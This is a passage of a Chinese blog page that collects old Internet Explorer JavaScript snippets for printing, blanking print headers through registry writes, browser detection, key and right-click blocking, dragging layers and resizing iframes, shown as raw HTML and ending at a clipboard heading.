#ff00ff">"WebBrowser"</SPAN>&nbsp;&nbsp;width=0&nbsp;&nbsp;height=0&nbsp;&nbsp;classid=<SPAN style="COLOR: #ff00ff">"CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"</SPAN>&gt;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&lt;/object&gt;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; <BR>&lt;center&nbsp;class=<SPAN style="COLOR: #ff00ff">"Noprint"</SPAN>&nbsp;&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=打印&nbsp;onclick=document.all.WebBrowser.ExecWB(6,1)&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=直接打印&nbsp;onclick=document.all.WebBrowser.ExecWB(6,6)&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=页面设置&nbsp;onclick=document.all.WebBrowser.ExecWB(8,1)&gt;&nbsp; <BR>&lt;/p&gt;&nbsp; <BR>&lt;p&gt;&nbsp;&lt;input&nbsp;type=button&nbsp;value=打印预览&nbsp;onclick=document.all.WebBrowser.ExecWB(7,1)&gt;&nbsp; <BR>&lt;/center&gt; </DIV></FONT>
<P><FONT size=2><STRONG>//去掉打印时的页眉页脚</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt;&nbsp;&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;HKEY_Root,HKEY_Path,HKEY_Key; <BR>HKEY_Root=<SPAN style="COLOR: #ff00ff">"HKEY_CURRENT_USER"</SPAN>; <BR>HKEY_Path=<SPAN style="COLOR: #ff00ff">"\\Software\\Microsoft\\Internet&nbsp;Explorer\\PageSetup\\"</SPAN>; <BR><SPAN style="COLOR: #008000">//设置网页打印的页眉页脚为空 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;PageSetup_Null() <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;Wsh=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"WScript.Shell"</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"header"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">""</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"footer"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">""</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e){} <BR>} <BR><SPAN style="COLOR: #008000">//设置网页打印的页眉页脚为默认值 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;&nbsp;PageSetup_Default() <BR>{&nbsp;&nbsp; <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;Wsh=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"WScript.Shell"</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"header"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">"&w&b页码,&p/&P"</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"footer"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">"&u&b&d"</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e){} <BR>} <BR>&lt;/script&gt; <BR>&lt;input&nbsp;type=<SPAN style="COLOR: #ff00ff">"button"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"清空页码"</SPAN>&nbsp;onclick=PageSetup_Null()&gt; <BR>&lt;input&nbsp;type=<SPAN style="COLOR: #ff00ff">"button"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"恢复页码"</SPAN>&nbsp;onclick=PageSetup_Default()&gt; </DIV>
<P><FONT size=2><STRONG>//浏览器验证</STRONG> <BR></FONT></P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;checkBrowser() <BR>{&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ver=navigator.appVersion&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.dom=document.getElementById?1:0&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie6=(<SPAN style="COLOR: #0000ff">this</SPAN>.ver.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;6"</SPAN>)&gt;-1&nbsp;&&&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie5=(<SPAN style="COLOR: #0000ff">this</SPAN>.ver.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;5"</SPAN>)&gt;-1&nbsp;&&&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie4=(document.all&nbsp;&&&nbsp;!<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns5=(<SPAN style="COLOR: #0000ff">this</SPAN>.dom&nbsp;&&&nbsp;parseInt(<SPAN style="COLOR: #0000ff">this</SPAN>.ver)&nbsp;&gt;=&nbsp;5)&nbsp;?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns4=(document.layers&nbsp;&&&nbsp;!<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.mac=(<SPAN style="COLOR: #0000ff">this</SPAN>.ver.indexOf('Mac')&nbsp;&gt;&nbsp;-1)&nbsp;?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ope=(navigator.userAgent.indexOf('Opera')&gt;-1);&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie=(<SPAN style="COLOR: #0000ff">this</SPAN>.ie6&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie5&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie4)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns=(<SPAN style="COLOR: #0000ff">this</SPAN>.ns4&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns5)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.bw=(<SPAN style="COLOR: #0000ff">this</SPAN>.ie6&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie5&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie4&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns5&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns4&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.mac&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ope)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.nbw=(!<SPAN style="COLOR: #0000ff">this</SPAN>.bw)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>; <BR>} </DIV>
<P><STRONG>//计算内容宽和高</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&nbsp;&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt;&nbsp;&nbsp; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;&nbsp;test(obj)&nbsp;&nbsp; <BR>{&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;&nbsp;range&nbsp;&nbsp;=&nbsp;&nbsp;obj.createTextRange();&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(<SPAN style="COLOR: #ff00ff">"内容区宽度:&nbsp;&nbsp;"</SPAN>&nbsp;&nbsp;+&nbsp;&nbsp;range.boundingWidth&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"px\r\n内容区高度:&nbsp;&nbsp;"</SPAN>&nbsp;&nbsp;+&nbsp;&nbsp;range.boundingHeight&nbsp;&nbsp;+&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"px"</SPAN>);&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>}&nbsp;&nbsp; <BR>&lt;/SCRIPT&gt;&nbsp;&nbsp; <BR>&lt;BODY&gt;&nbsp;&nbsp; <BR>&lt;Textarea&nbsp;id=<SPAN style="COLOR: #ff00ff">"txt"</SPAN>&nbsp;height=<SPAN style="COLOR: #ff00ff">"150"</SPAN>&gt;sdf&lt;/textarea&gt;&lt;INPUT&nbsp;&nbsp;type=<SPAN style="COLOR: #ff00ff">"button"</SPAN>&nbsp;&nbsp;value=<SPAN style="COLOR: #ff00ff">"计算内容宽度"</SPAN>&nbsp;&nbsp;onClick=<SPAN style="COLOR: #ff00ff">"test(txt)"</SPAN>&gt;&nbsp;&nbsp; <BR>&lt;/BODY&gt; </DIV>
<P><STRONG>//无模式的提示框</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;modelessAlert(Msg) <BR>{ <BR>&nbsp;&nbsp;&nbsp;window.showModelessDialog(<SPAN style="COLOR: #ff00ff">"javascript:alert(\""</SPAN>+escape(Msg)+<SPAN style="COLOR: #ff00ff">"\");window.close();"</SPAN>,<SPAN style="COLOR: #ff00ff">""</SPAN>,<SPAN style="COLOR: #ff00ff">"status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;"</SPAN>); <BR>} </DIV></FONT>
<P></P></FONT>
<P></P></FONT>
<P></P>
<P><FONT size=2></FONT></P><STRONG><FONT size=2>//屏蔽按键</FONT></STRONG> 
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;html&gt; <BR>&lt;head&gt; <BR>&nbsp;&nbsp;&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Content-Type"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"text/html;&nbsp;charset=gb2312"</SPAN>&gt; <BR>&nbsp;&nbsp;&lt;noscript&gt;&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"refresh"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"0;url=about:noscript"</SPAN>&gt;&lt;/noscript&gt; <BR>&nbsp;&nbsp;&lt;title&gt;屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键&lt;/title&gt; <BR>&lt;/head&gt; <BR>&lt;body&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"Javascript"</SPAN>&gt;&lt;!-- <BR>&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #008000">//Author:&nbsp;meizz(梅花雨)&nbsp;2002-6-18 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;document.oncontextmenu(){event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;}<SPAN style="COLOR: #008000">//屏蔽鼠标右键 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;window.onhelp(){<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>}&nbsp;<SPAN style="COLOR: #008000">//屏蔽F1帮助 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;document.onkeydown() <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;((window.event.altKey)&& <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((window.event.keyCode==37)||&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;← </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(window.event.keyCode==39)))&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;→ </SPAN><BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(<SPAN style="COLOR: #ff00ff">"不准你使用ALT+方向键前进或后退网页！"</SPAN>); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">/*&nbsp;注：这还不是真正地屏蔽&nbsp;Alt+&nbsp;方向键， <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为&nbsp;Alt+&nbsp;方向键弹出警告框时，按住&nbsp;Alt&nbsp;键不放， <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用鼠标点掉警告框，这种屏蔽方法就失效了。以后若 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有哪位高手有真正屏蔽&nbsp;Alt&nbsp;键的方法，请告知。*/</SPAN> <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;((event.keyCode==8)&nbsp;&nbsp;||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽退格删除键 </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.keyCode==116)||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;F5&nbsp;刷新键 </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.ctrlKey&nbsp;&&&nbsp;event.keyCode==82)){&nbsp;<SPAN style="COLOR: #008000">//Ctrl&nbsp;+&nbsp;R </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode=0; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(event.keyCode==122){event.keyCode=0;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;}&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽F11 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(event.ctrlKey&nbsp;&&&nbsp;event.keyCode==78)&nbsp;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;Ctrl+n </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(event.shiftKey&nbsp;&&&nbsp;event.keyCode==121)event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;shift+F10 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(window.event.srcElement.tagName&nbsp;==&nbsp;<SPAN style="COLOR: #ff00ff">"A"</SPAN>&nbsp;&&&nbsp;window.event.shiftKey)&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.event.returnValue&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;shift&nbsp;加鼠标左键新开一网页 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;((window.event.altKey)&&(window.event.keyCode==115))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽Alt+F4 </SPAN><BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.showModelessDialog(<SPAN style="COLOR: #ff00ff">"about:blank"</SPAN>,<SPAN style="COLOR: #ff00ff">""</SPAN>,<SPAN style="COLOR: #ff00ff">"dialogWidth:1px;dialogheight:1px"</SPAN>); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp;} <BR>} <BR>&lt;/script&gt; <BR>屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键 <BR>&lt;/body&gt; <BR>&lt;/html&gt; </DIV>
<P><STRONG>//屏蔽打印</STRONG> <BR>&lt;style&gt; <BR>@media print{ <BR>* {display:none} <BR>} <BR>&lt;/style&gt; </P></FONT>
<P><FONT size=2><STRONG>//移动的图层，拖动 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">1.&lt;span&nbsp;style='position:absolute;width:200;height:200;background:red'&nbsp;onmousedown=MouseDown(<SPAN style="COLOR: #0000ff">this</SPAN>)&nbsp;onmousemove=MouseMove()&nbsp;onmouseup=MouseUp()&gt;meizz&lt;/span&gt; <BR>&lt;script&nbsp;language=javascript&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;Obj; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;MouseDown(obj) <BR>{ <BR>&nbsp;&nbsp;Obj=obj; <BR>&nbsp;&nbsp;Obj.setCapture(); <BR>&nbsp;&nbsp;Obj.l=event.x-Obj.style.pixelLeft; <BR>&nbsp;&nbsp;Obj.t=event.y-Obj.style.pixelTop; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;MouseMove() <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(Obj!=<SPAN style="COLOR: #0000ff">null</SPAN>) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj.style.left&nbsp;=&nbsp;event.x-Obj.l; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj.style.top&nbsp;=&nbsp;event.y-Obj.t; <BR>&nbsp;&nbsp;} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;MouseUp() <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(Obj!=<SPAN style="COLOR: #0000ff">null</SPAN>) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj.releaseCapture(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;} <BR>} <BR>&lt;/script&gt; <BR>2. <BR>&lt;div&nbsp;id=<SPAN style="COLOR: #ff00ff">"myDiv"</SPAN>&nbsp;src=<SPAN style="COLOR: #ff00ff">"logo.gif"</SPAN>&nbsp;ondrag=<SPAN style="COLOR: #ff00ff">"doDrag();"</SPAN>&nbsp;onmouseover=<SPAN style="COLOR: #ff00ff">"this.style.cursor='hand'"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"position:absolute;left=100;top=100;"</SPAN>&nbsp;onmousedown=<SPAN style="COLOR: #ff00ff">"doMouseDown();"</SPAN>&gt; <BR>&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"#"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&gt;&lt;h1&gt;wlecome&lt;/h1&gt;&lt;/a&gt; <BR>&lt;/div&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&nbsp;type=<SPAN style="COLOR: #ff00ff">"text/javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgMouseX; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgMouseY; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgObjX; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgObjY; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;doDrag() <BR>{ <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;myObject=document.all.myDiv; <BR><BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;x=event.clientX; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;y=event.clientY; <BR>myObject.style.left=x-(orgMouseX-orgObjX); <BR>myObject.style.top=y-(orgMouseY-orgObjY); <BR>&nbsp; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;doMouseDown() <BR>{ <BR>orgMouseX=event.clientX; <BR>orgMouseY=event.clientY; <BR>orgObjX=parseInt(document.all.myDiv.style.left); <BR>orgObjY=parseInt(document.all.myDiv.style.top); <BR>} <BR><BR>&lt;/script&gt; <BR>&nbsp; </DIV>
<P><FONT size=2><STRONG>//文档状态改变 <BR></STRONG></FONT></P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;iframe&nbsp;src=<SPAN style="COLOR: #ff00ff">"a.html"</SPAN>&nbsp;id=<SPAN style="COLOR: #ff00ff">"f"</SPAN>&nbsp;name=<SPAN style="COLOR: #ff00ff">"f"</SPAN>&nbsp;scrolling=<SPAN style="COLOR: #ff00ff">"no"</SPAN>&nbsp;frameborder=0&nbsp;marginwidth=0&nbsp;marginheight=0&gt;&lt;/iframe&gt; <BR>&lt;script&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;doc=window.frames[<SPAN style="COLOR: #ff00ff">"f"</SPAN>].document; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;s(){ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(doc.readyState==<SPAN style="COLOR: #ff00ff">"complete"</SPAN>){ <BR>&nbsp;&nbsp;document.all.f.style.height=doc.body.scrollHeight <BR>&nbsp;&nbsp;document.all.f.style.width=doc.body.scrollWidth <BR>&nbsp;} <BR>} <BR>doc.onreadystatechange=s <BR>&lt;/script&gt; <BR><SPAN style="COLOR: #008000"></SPAN></DIV></FONT>
<P><FONT size=2><STRONG>//刷新后不变的文本框</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px, ; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;HTML&gt; <BR>&lt;HEAD&gt; <BR>&lt;META&nbsp;NAME=<SPAN style="COLOR: #ff00ff">"save"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"history"</SPAN>&gt; <BR>&lt;STYLE&gt; <BR>&nbsp;&nbsp;&nbsp;.sHistory&nbsp;{behavior:url(#default#savehistory);} <BR>&lt;/STYLE&gt; <BR>&lt;/HEAD&gt; <BR>&lt;BODY&gt; <BR>&lt;INPUT&nbsp;class=sHistory&nbsp;type=text&nbsp;id=oPersistInput&gt; <BR>&lt;/BODY&gt; <BR>&lt;/HTML&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//访问剪贴板</STRONG> 
